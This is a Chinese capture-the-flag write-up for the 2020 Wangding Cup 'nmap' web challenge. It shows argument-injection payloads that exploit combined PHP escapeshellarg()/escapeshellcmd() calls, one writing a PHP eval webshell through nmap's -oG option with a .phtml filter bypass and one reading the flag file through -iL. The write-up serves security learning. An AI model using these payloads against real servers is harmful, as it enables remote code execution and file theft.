当前位置:网站首页>2020网鼎杯_朱雀组_Web_nmap
2020网鼎杯_朱雀组_Web_nmap
2022-07-06 09:15:00 【Her&mes】
WP
两个考察点
1.考察nmap的使用
2.考察escapeshellarg()与escapeshellcmd()混合使用的漏洞
第一个还好说,题目告诉了
第二个点嘛,不知道,完全不知道是从哪里获取到的,自闭ing
看其他师傅的wp,提到了[BUUCTF 2018]Online Tool,一道代码审计题,直接告诉了参数经过escapeshellarg()与escapeshellcmd()处理
两道题考察的点不能说一样,只能说完全一致。
nmap要用输出相关的参数
在nmap中文网里查阅能有以下结果:
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
还有其他一些杂七杂八的输出,可以去看看,这里用-oG 构造payload
payload的主体是
<?php @eval($_POST["hack"]);?> -oG hack.php
然而发送后回显hacker字样
有过滤,进行fuzz测试,php被过滤了,但是phtml没有,并且用php的短标签能代替<?php,即有:
<?= @eval($_POST["hack"]);?> -oG hack.phtml
到这里还不行,这样的parload经过escapeshellarg()与escapeshellcmd()函数处理,没法产生文件
解决办法很简单,加空格和单引号就行,这样能产生可被正常解析的php文件
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
具体的原理看大佬写的PHP escapeshellarg()+escapeshellcmd() 之殇
在CSDN上还有其他师傅写的关于escapeshellarg()与escapeshellcmd()的分析,浅显易懂
除了写入webshell,还有直接读的方法,利用了-iL参数
' -iL ../../../../flag -o a '
直接访问a就行,下面也可以这样,不过要访问a’
' -iL ../../../../flag -o a
原因也是那两个函数。
边栏推荐
- Dotnet replaces asp Net core's underlying communication is the IPC Library of named pipes
- Neo4j installation tutorial
- Deoldify项目问题——OMP:Error#15:Initializing libiomp5md.dll,but found libiomp5md.dll already initialized.
- When you open the browser, you will also open mango TV, Tiktok and other websites outside the home page
- Reading BMP file with C language
- 一键提取pdf中的表格
- Julia 1.6 1.7 common problem solving
- Unable to call numpy in pycharm, with an error modulenotfounderror: no module named 'numpy‘
- One click extraction of tables in PDF
- DICOM: Overview
猜你喜欢
Double to int precision loss
error C4996: ‘strcpy‘: This function or variable may be unsafe. Consider using strcpy_s instead
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
Valentine's Day flirting with girls to force a small way, one can learn
Cookie setting three-day secret free login (run tutorial)
Solve the problem of installing failed building wheel for pilot
[download app for free]ineukernel OCR image data recognition and acquisition principle and product application
图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
Classes in C #
Learn winpwn (2) -- GS protection from scratch
随机推荐
nodejs 详解
[free setup] asp Net online course selection system design and Implementation (source code +lunwen)
AcWing 1294.樱花 题解
One click extraction of tables in PDF
UDS learning notes on fault codes (0x19 and 0x14 services)
Are you monitored by the company for sending resumes and logging in to job search websites? Deeply convinced that the product of "behavior awareness system ba" has not been retrieved on the official w
【kerberos】深入理解kerberos票据生命周期
Learn winpwn (2) -- GS protection from scratch
Django running error: error loading mysqldb module solution
Case analysis of data inconsistency caused by Pt OSC table change
搞笑漫画:程序员的逻辑
图像识别问题 — pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
引入了junit为什么还是用不了@Test注解
Solution of deleting path variable by mistake
vs2019 使用向导生成一个MFC应用程序
误删Path变量解决
QT creator specifies dependencies
Tcp/ip protocol (UDP)
使用lambda在循环中传参时,参数总为同一个值
基于apache-jena的知识问答